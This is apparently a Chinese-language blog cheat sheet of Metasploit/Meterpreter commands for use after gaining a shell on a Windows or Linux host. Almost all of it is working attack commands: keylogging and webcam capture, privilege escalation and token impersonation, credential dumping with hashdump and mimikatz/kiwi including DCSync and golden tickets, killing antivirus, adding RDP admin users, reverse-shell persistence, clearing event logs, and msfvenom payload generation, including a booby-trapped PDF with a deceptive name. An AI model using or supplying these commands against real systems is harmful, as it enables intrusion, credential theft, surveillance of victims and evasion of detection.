获取shell后各种命令及操作

1 、获取目标分区情况
run post/windows/gather/forensics/enum_drives
2 、检测是否是虚拟主机
run post/windows/gather/checkvm
3 、获取当前安装的应用程序
run post/windows/gather/enum_applications
4 、获取用户登录信息
run post/windows/gather/enum_logged_on_users
5 、收集系统环境信息
run post/multi/gather/env
6 、查看开启的服务
run post/windows/gather/enum_services
7 、查看目标主机最近的操作
run post/windows/gather/dumplinks
8 、其他操作
删除用户
run post/wndows/manage/delete_user username=aiyou
添加账户
run post/windows/manage/enable_rdp USERNAME=aiyou PASSWORD=aiyou 关闭杀软
windows/manage/killav
9 、查看目标机安装了哪些应用、补丁
run post/windows/gather/enum_applications
10 、对目标进行漏洞扫描 ( 提权操作 )
run post/multi/recon/local_exploit_suggester
执行之后给了我们很多 exploit
我们就随便挑几个
exploit/windows/local/ms16_014_wmi_recv_notif 这个提权成功
hashdump
hashdump 是查询密码 hash : 因为有时候你得搜集密码来进⾏爆破别的⽤户
信息收集:
run post/windows/gather/checkvm # 是否虚拟机
run post/linux/gather/checkvm # 是否虚拟机
run post/windows/gather/forensics/enum_drives # 查看分区
run post/windows/gather/enum_applications # 获取安装软件信息
run post/windows/gather/dumplinks # 获取最近的文件操作
run post/windows/gather/enum_ie # 获取 IE 缓存
run post/windows/gather/enum_chrome # 获取 Chrome 缓存
run post/windows/gather/enum_patches # 补丁信息
run post/windows/gather/enum_domain # 查找域控
msf 之键盘记录、屏幕截图、文件操作、 load 扩展等
键盘记录
先是获取到了一个 Meterpreter ,他有这些功能 keyscan_start 开启键盘监听后,再用 keyscan_dump 进行记录的导出,如果不想监听了才
keyscan_stop 。而不是先 keyscan_stop keyscan_dump
keyscan_start 启动键盘记录监听
目标机器输入东西的话,就可以获取到键盘记录 keyscan_dump
成功获取到键盘记录!
< Left Windows >< CR > 是回车键
keyboard_send 输入东西到目标机器上
假设目标机器上有鼠标指针,那么说明可以输入内容,那我们就可以使用 keyboard_send 来输入东西到
目标主机上
目标目前是空的: 这个时候,目标的记事本里就多出了一些内容,就是我们刚刚输入的 hacker_hhhhh
文件操作
操作文件系统
1. 文件的基本操作
   ls :列出当前路径下的所有文件和文件夹。
   pwd getwd :查看当前路径。
   search :搜索文件,使用 search -h 查看帮助。
   cat :查看文件内容,比如 cat test.txt
   edit :编辑或者创建文件。和 Linux 系统的 vm 命令类似,同样适用于目标系统是 windows 的情况。
   rm :删除文件。
   cd :切换路径。
   mkdir :创建文件夹。
   rmdir :删除文件夹。
   getlwd lpwd :查看自己系统的当前路径。
   lcd :切换自己当前系统的目录。
   lls :显示自己当前系统的所有文件和文件夹。
getwd 查看目标当前目录
2. 文件的上传和下载
   (1) upload
  格式: upload 本地文件路径目标文件路径
(2)download
  格式: download 目标文件路径 本地文件路径
load 扩展
load 可以加载这些: load -l
其实还可以加载 python 等等
load python 加载 python
加载扩展后,我们可以使用基本的 Python 函数,例如 print 。这可以通过使用 python_execute 命令和标
Python 语法来实现。 还可以保存到变量,并使用 -r 开关打印其内容。
运行 python 文件 : python_import -f /root/liuwx.py
这个好处是,无需对方系统有 python 环境,就可以运行 python 脚本 ~ 当然,也可以上传很多扩展,比
powershell 等等
系统其它操作
1. 关闭防病毒软件
   run killav
   run post/windows/manage/killav
2. 操作远程桌面
   run post/windows/manage/enable_rdp 开启远程桌面
   run post/windows/manage/enable_rdp username=test password=test 添加远程桌面的用
( 同时也会将该用户添加到管理员组 )
3. 截屏
   screenshot
4. 键盘记录
   keyscan_start :开启键盘记录功能
   keyscan_dump :显示捕捉到的键盘记录信息
   keyscan_stop :停止键盘记录功能
5. 执行程序
   execute -h 查看使用方法
   -H :创建一个隐藏进程
   -a :传递给命令的参数
   -i :跟进程进行交互
   -m :从内存中执行   -t :使用当前伪造的线程令牌运行进程
   -s :在给定会话中执行进程
  例: execute -f c:/temp/hello.exe
端口转发和内网代理
1.portfwd
   portfwd meterpreter 提供的端口转发功能,在 meterpreter 下使用 portfwd -h 命令查看该命令的
参数。
常用参数:
   -l :本地监听端口
   -r :内网目标的 ip
   -p :内网目标的端口
上面命令执行之后,会将 10.1.1.3 3389 端口转发到本地的 2222 端口。 2.pivot
   pivot msf 最常用的代理,可以让我们使用 msf 提供的扫描模块对内网进行探测。
(1) 首先需要在 msf 的操作界面下添加一个路由表。
  添加命令: route add 内网 ip 子网掩码 session id
  打印命令: route print
路由添加成功之后就可以在 msf 里访问 10.1.1.0/24 这个网段。
(2) 建立 socks 代理。
  如果其它程序需要访问这个内网环境,就可以建立 socks 代理。
   msf 提供了 3 个模块用来做 socks 代理。
   auxiliary/server/socks4a
   use auxiliary/server/socks5
   use auxiliary/server/socks_unc
  以 auxiliary/server/socks4a 为例,查看需要设置的参数。
一共两个参数:
   SRVHOST :监听的 ip 地址,默认为 0.0.0.0 ,一般不需要更改。
   SRVPORT :监听的端口,默认为 1080
  直接运行 run 命令,就可以成功创建一个 socks4 代理隧道,在 linux 上可以配置 proxychains 使           用,
       在windows 可以配置 Proxifier 进行使用。
msf 之常用命令
基础命令
加载模块 use name
查看网络配置 ifconfig
获取进程列表 ps
查看所有 exploit show exploits
查看所有 payload show payloads
查看所有 auxiliary show auxiliary
展示模块详细信息 info
查找模块 search name
查看当前运行的模块 jobs
重启目标机器 reboot
关闭目标机器 shutdown
获取交互 shell shell
当前 meterpreter 到后台 background 离开 msf quit
端口转发
portfwd add -l 6666 -p 3389 -r 192.168.1.2
常用参数: -l :本地监听端口 -r :内网目标的 ip -p :内网目标的端口
设置 Socks 代理
Socks4a 代理
use auxiliary/server/socks4a
set srvhost 127.0.0.1
set srvport 1080
run
添加路由
获取网段信息
run get_local_subnets
查看帮助
run autoroute –h
添加到目标环境网络
run autoroute -s 192.168.0.1/24
打印添加的路由
run autoroute –p
删除路由
run autoroute -d -s 192.168.0.1/24
execute 执行文件
在目标机中执行文件
execute
创建新进程 cmd.exe -H 不可见, -i 交互
execute -H -i -f cmd.exe
-f :指定可执行文件
-H :创建一个隐藏进程
-a :传递给命令的参数
-i :跟进程进行交互
-m :从内存中执行
-t : 使用当前伪造的线程令牌运行进程
-s : 在给定会话中执行进程
migrate 转移进程
获取当前进程 PID getpid
获取进程列表 ps
转移进程 migrate PID
杀死进程 kill PID 自动进程迁移 run post/windows/manage/migrate
监听设置自动转移进程 set autorunscript migrate -f
令牌窃取
使用模块 use incognito
查看可用 token list_tokens -u
假冒 SYSTEM 权限 impersonate_token 'NT AUTHORITY\SYSTEM'
利用假冒身份执行命令 execute -f cmd.exe -i –t
或者直接 shell 即可
返回原始权限 rev2self
提权相关
加载特权提升扩展模块 use priv
获取更多的特权 getprivs
查看补丁信息 run post/windows/gather/enum_patches
可利用 exp 提权检测 use post/multi/recon/local_exploit_suggester
系统服务权限配置错误 use exploit/windows/local/service_permissions
注册表键配置错误提取 use exploit/windows/local/always_install_elevated
可信任服务路径 use exploit/windows/local/trusted_service_path
bypassuac
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask
键盘鼠标设置
禁用鼠标 uictl disable mouse
禁用键盘 uictl disable keyboard
启用鼠标 uictl enable mouse
启用键盘 uictl enable keyboard
键盘记录
# 开始键盘记录
keyscan_start
# 导出记录数据
keyscan_dump
# 结束键盘记录 keyscan_stop
信息搜集
查看当前目录 pwd getwd
查看目标主机信息 sysinfo
检查目标机器闲置时间 idletime
获取代理信息
getproxy
查看目标主机是否运行在虚拟机上
run checkvm run post/windows/gather/checkvm
获取主机安装软件、补丁
run post/windows/gather/enum_applications
获取目标主机环境变量
run post/multi/gather/env
获取 IE 缓存
run post/windows/gather/enum_ie
获取 Chrome 缓存
run post/windows/gather/enum_chrome
获取 Firefox 缓存
run post/windows/gather/enum_firefox
列举当前登录的用户
run post/windows/gather/enum_logged_on_users
查找域控
run post/windows/gather/enum_domain
Windows 凭证搜索
run post/windows/gather/enum_unattend
获取办公文档
run post/windows/gather/dumplinks
获取目标常见信息并保存到本地 run scraper
屏幕截图
screenshot
密码获取
抓取自动登录的用户名和密码
run post/windows/gather/credentials/windows_autologin
hashdump run post/windows/gather/smart_hashdump
mimikatz
老版
加载 load mimikatz
获取 hash msv
获取明文 Kerberos
获取系统账户信息 wdigest
新版
加载 kiwi 模块:
列举系统中的明文密码:
creds_all # 列举所有凭据
creds_kerberos # 列举所有 kerberos 凭据
creds_msv # 列举所有 msv 凭据
creds_ssp # 列举所有 ssp 凭据
creds_tspkg # 列举所有 tspkg 凭据
creds_wdigest # 列举所有 wdigest 凭据
dcsync # 通过 DCSync 检索用户帐户信息
dcsync_ntlm # 通过 DCSync 检索用户帐户 NTLM 散列、 SID RID
golden_ticket_create # 创建黄金票据
kerberos_ticket_list # 列举 kerberos 票据
kerberos_ticket_purge # 清除 kerberos 票据
kerberos_ticket_use # 使用 kerberos 票据
kiwi_cmd # 执行 mimikatz 的命令,后面接 mimikatz.exe 的命令
lsa_dump_sam #dump lsa SAM
lsa_dump_secrets #dump lsa 的密文
password_change # 修改密码
wifi_list # 列出当前用户的 wifi 配置文件
wifi_list_shared # 列出共享 wifi 配置文件 / 编码
kiwi_cmd 模块可以让我们使用 mimikatz 的全部功能,该命令后面接 mimikatz.exe 的命令 :
kiwi_cmd sekurlsa::logonpasswords
load kiwi
creds_all 获取域散列值
# 使用 psexec_ntdsgrab 模块
use auxiliary/admin/smb/psexec_ntdsgrab
set RHOST set SMBDomain
set SMBUser
set SMBPass
# 基于 meterpreter 会话
use windows/gather/credentials/domain_hashdump
set session ID
流量抓取
查看网卡信息
run packetrecorder -L
查看流量
run packetrecorder -i < 网卡 ID>
端口扫描、主机发现
使用 arp 发现主机
run post/windows/gather/arp_scanner RHOSTS=192.168.159.0/24
扫描 tcp 端口
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=3389 防火墙、杀软
关闭杀软 run killav
查看防火墙状态 run getcountermeasure
shell 中使用
netsh firewall show opmode
PowerShell
加载脚本模块
powershell_import /root/Desktop/HostRecon.ps1
执行加载的脚本
powershell_execute Invoke-HostRecon
Hash 传递
use exploit/windows/smb/psexec
摄像头、屏幕
查看摄像头信息 webcam_list
使用摄像头拍照 webcam_snap
屏幕监视 run vnc
开启远程桌面
开启远程桌面
run post/windows/manage/enable_rdp
添加用户
run post/windows/manage/enable_rdp USERNAME=gugugu PASSWORD=Root123456789
3389 端口转发到 6662 端口
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662
cmdshell 升级
查看全部会话 sessions
选择会话 1 sessions 1
升级 meterpreter sessions -u 会话 id
持久化控制后门
run persistence -X -i 50 -p 4444 -r 192.168.1.7
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.109.137
set LPORT 4444 exploit
针对 linux 平台
目标主机保存的 ssh 身份验证信息
run post/multi/gather/ssh_creds
擦屁股、清痕迹
删除添加的账号
C:\Windows\system32> net user 添加的用户名 /del
删除日志
clearev
关闭所有 session 连接
sessions -K
事件日志
查看事件日志
run event_manager -i
清除事件日志
run event_manager -c
msf 生成木马教程
生成木马命令: msfvenom
msfcenom 详细语法
-e, –encoder [encoder] 指定需要使用的 encoder (编码器)
-a, –arch < architecture> 指定 payload 的目标架构
–platform < platform> 指定 payload 的目标平台
-s, –space < length> 设定有效攻击荷载的最大长度
-b, –bad-chars < list> 设定规避字符集,比如 : & #039;\x00\xff& #039;
-i, –iterations < count> 指定 payload 的编码次数
-c, –add-code < path> 指定一个附加的 win32 shellcode 文件
-x, –template < path> 指定一个自定义的可执行文件作为模板
-k, –keep 保护模板程序的动作,注入的 payload 作为一个新的进程运行
–payload-options 列举 payload 的标准选项
-o, –out < path> 保存 payload
-v, –var-name < name> 指定一个自定义的变量,以确定输出格式
–shellest 最小化生成 payload
-h, –help 查看帮助选项
–help-formats 查看 msf 支持的输出格式列表
生成木马语句
二进制
linux:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf
windows:msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe
mac: msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.macho web
php:msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php cat shell.php |
pbcopy && echo '<?php ’ | tr -d ‘\n’ > shell.php && pbpaste >> shell.php
asp:msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp
jap:msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp
war:msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war
脚本
python:msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py
bash:msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh
perl:msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl
基于 pdf shellcode
use exploit/windows/fileformat/adobe_utilprintf
msf5 exploit(adobe_utilprintf)>set FILENAME BestComputers-UpgradeInstructions.pdfset
PAYLOAD windows/meterpreter/reverse_tcp
其他的就自己填就好了
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值